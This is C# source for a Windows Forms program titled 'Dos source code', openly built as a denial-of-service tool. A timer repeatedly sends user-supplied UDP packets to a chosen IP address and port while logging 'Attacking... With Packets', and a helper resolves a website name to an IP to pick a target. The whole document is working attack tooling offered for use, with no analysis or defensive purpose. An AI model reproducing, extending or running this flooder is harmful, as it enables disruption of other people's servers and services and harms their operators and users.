Dos source code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace dos_tool
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Timer1_Tick(object sender, EventArgs e)
        {
            listBox1.Items.Add("Attacking"+ " " + vitalityTextBox1.Text + " " + "With Packets");
            byte[] packets = System.Text.ASCIIEncoding.ASCII.GetBytes(vitalityTextBox3.Text);
            string IP = vitalityTextBox1.Text;
            string strport = vitalityTextBox2.Text;
            int port;
            port = int.Parse(strport);
            IPEndPoint endP = new IPEndPoint(IPAddress.Parse(IP), port);
            Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            client.SendTo(packets, endP);
        }

        private void vitalityButton1_Click(object sender, EventArgs e)
        {
            timer1.Enabled = true;
        }

        private void vitalityButton3_Click(object sender, EventArgs e)
        {
            timer1.Enabled = false;
        }

        private void vitalityButton2_Click(object sender, EventArgs e)
        {
            vitalityTextBox1.Clear();
            vitalityTextBox2.Clear();
            vitalityTextBox3.Clear();
            vitalityTextBox4.Clear();
            listBox1.Items.Clear();
            listBox1.Items.Clear();
        }

        private void vitalityButton4_Click(object sender, EventArgs e)
        {
            try
            {
                IPHostEntry hostname = Dns.GetHostEntry(vitalityTextBox4.Text);
                IPAddress[] ip = hostname.AddressList;
                vitalityTextBox5.Text = ip[0].ToString();
            }
            catch (Exception)
            {
                MessageBox.Show("Please Enter a valid Website!");
            }
        }

        private void X_Click(object sender, EventArgs e)
        {
            this.Close();
        }
    }
}